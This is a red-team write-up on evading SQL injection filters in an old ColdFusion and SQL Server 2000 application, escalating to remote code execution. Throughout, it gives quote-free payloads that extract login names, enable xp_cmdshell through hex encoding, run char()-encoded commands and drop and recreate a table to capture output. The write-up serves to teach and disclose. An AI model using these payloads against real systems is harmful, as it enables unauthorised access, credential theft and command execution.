Showing Posts From

Sqlmap

Evading SQL Injection Filters to get RCE

Evading SQL Injection Filters to get RCE

Hex(Win2k rce) Introduction During a Red Team engagement, me and my colleague Edoardo (dodo) found a SQL Injection on a web application. The particularity was that we had to open 2 issues on sqlmap project and exploit them entirely manually including uncommon evasion techniques. We want to share this experience with the community because, in our opinion, this was a difficult exploitation scenario, an interesting case study and we hope that this post could be useful for the community. Target InformationWeb server operating system Web application technology back-end DBMS back-end languageWindows 2000 Microsoft IIS 5.0 Microsoft SQL Server 2000 ColdFusionInjection TechniqueError Based Stacked QueriesDuring the standard phases of initial crawling and fuzzing on the web application's parameters we found lots of SQL Syntax Error that led us into deep diving the exploitation of a possible SQL Injection. The classic "single quote" (') char was enough to break the query and trigger an error on the back-end. Usually, when I find a probable SQL Injection I try to manually guess the vector that allow me to exploit the vulnerability efficiently (Time Based vs Union Based). Therefore, the first phase is to find a way to inject the payload inside the query without triggering any error. Classic payloads like these didn't work as expected:' '' or 1=1 -- - 'or 'k'='k' or 99=99 #There was no way, apparently, to create an easy attack vector so we tried to run sqlmap on the vulnerable parameter and let it do the magic. Unfortunately, the tool was unable to create a working vector to bypass all filter restrictions. Filtered / problematic chars included: ', ", -, #, UNION. The back-end application was in debug mode allowing us to see the SQL errors on the web pages but even with this advantage, we weren't able to find a payload to avoid the logic breaking of the query and injecting our payload. SQL Injection without special chars If the web application is configured to print out all SQL errors it's possible to use the Error Based technique to exploit the injection. At this point, the situation started to be interesting because sqlmap was able to detect the Error Based vector but there was no way to extract more than one record per table. Classic functions like @@version or DB_NAME() worked but that was all that we could get from the database. The ROW_NUMBER() problem At this point, we had a useless sqlmap vector because we weren't able to extract much data from the DBMS. We had 2 problems:sqlmap uses the NOT IN operator to extract the data and needs a single quote to use it (we think that the first check is with the NOT IN function and a single quote as an alternative to nested queries). The ROW_NUMBER() function doesn't exist in this old DBMS (SQL Server 2000).Luckily the debug mode showed us the error: ROW_NUMBER() is not a supported function in Windows 2000 Server (Microsoft SQL Server 2000) We targeted a Windows SQL Server 2000 in which the function ROW_NUMBER() doesn't exist, so dodo created an issue on sqlmap's GitHub project which was quickly fixed:sqlmapproject/sqlmap#3776Now we can dump the content and we contributed to the project somehow: searching on Google it seems that this was a common issue which was never fixed so we are happy to have done that. In the meantime, we conducted the exploitation manually using the TOP operator (the equivalent of LIMIT in MySQL). The query on the back-end code was something like: SELECT * FROM table WHERE name = [INJECTION];Following there are some queries that may be useful to you, for example, to extract the DBMS version: SELECT * FROM table WHERE name = (SELECT convert(int, cast ((SELECT @@version) as varchar (8000))));Get the name of the first column of a table: select convert(int, cast((SELECT TOP 1 name FROM master..sysxlogins) as varchar(8000))) from syscolumnsGet the name of the second column using nested queries and NOT IN: select convert(int, cast((SELECT TOP 1 name FROM master..sysxlogins WHERE name NOT IN (SELECT TOP 1 name FROM master..sysxlogins)) as varchar(8000))) from syscolumnsThis exploitation is very interesting and didactic because the entire process of SQL Injection was exploited without using any type of quotes and on a single vulnerable parameter; very different from the classic fragmented technique or any real evasion method.Fragmented SQL injection attacks (Netsparker)Are we done? For us it was not enough to have found a technique to exploit manually this complex vulnerability without special chars, so we tried to turn this SQLi into a Remote Code Execution. The first payload we tried was: 1; WAITFOR DELAY 0x303a303a36This MSSQL stacked query payload worked because it didn't use any special char: the payload is injected using a simple hex-encoding. So the next step is to find a way to use xp_cmdshell and execute some commands. After some manual attempts, we decided to give sqlmap another chance to exploit this vulnerability; it was at that moment that we discovered another bug or likewise a missing feature. Stacked queries without single quotes The classic stacked query payload for sqlmap is something like: 1; WAITFOR DELAY '0:0:6'As you can imagine the use of single quotes was a problem for our injection but we found a way to avoid quotes using HEX strings and the DECLARE statements. We also noticed that it was possible to close the query with just 1; without using quotes, probably this can be blocking if you need to use single quotes. 1; DECLARE @x char(9); SET @x=0x303a303a34; WAITFOR DELAY @xWe decided to report this missing feature to the sqlmap project:sqlmapproject/sqlmap#3780sqlmap partially fixed the issue but the exploitation of xp_cmdshell and xp_dirtree remained manual. We want a shell!!! Dumping a database during a Red Team engagement is the starting point to scale to domain admin 🙂 (or maybe further), and also shells are like drugs for hackers; so digging into this vulnerability we were able to have an interactive prompt shell. The standard process to get code execution with a SQLi on MSSQL is: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;Using that payload in our particular case required some manipulations since we needed to encode the string in HEX format. Essentially the char() and HEX (0x...) evasions worked for us because the web application can't filter these characters. Enable xp_cmdshell (hex-encoded): 1; DECLARE @x char(9); SET @x=0x73686f7720616476616e636564206f7074696f6e73; EXEC sp_configure @x, 1; RECONFIGURE; DECLARE @x char(9); SET @x=0x78705f636d647368656c6c; EXEC sp_configure @x, 1; RECONFIGURE;Run a command (e.g. dir via char()): 1; DECLARE @x char(9); SET @x=char(100)+char(105)+char(114); EXEC master..xp_cmdshell @x;The variable @x is the command converted into single ASCII characters. In the above payload the command dir is executed. To retrieve the content of the command's output we decided to use a support table: 1; drop table temptable; create table temptable (output nvarchar(4000) null); declare @t nvarchar(4000) set @t=char(100)+char(105)+char(114) insert into temptable(output) EXEC master..xp_cmdshell @t;This payload deletes the existing table, creates a new empty one and puts the command's output inside it. The executed command is inside the variable @t (here: char(100)+char(105)+char(114) = dir). Now comes an interesting technique which can save our time If you use sqlmap to automate the process the entire output of the OS command is retrieved using the same technique used in the injection. In 90% of cases using stacked queries, the output is retrieved using Time Based payloads. Instead of relying on the tool we exploited it manually using the Error Based technique. We can easily and quickly extract the first record from our temporary table: (select convert(int, cast((SELECT TOP 1 output FROM temptable) as varchar(8000))) from syscolumns)In the end, we created a custom script that took the command to execute and encoded it using the char() function. This script also executed the command and automatically retrieved the output using a text file created inside the webroot. You can find the script here:Gist: notdodo/caeaaed544d595f1789cc2520cac7b7cFeel free to contact us whenever you want.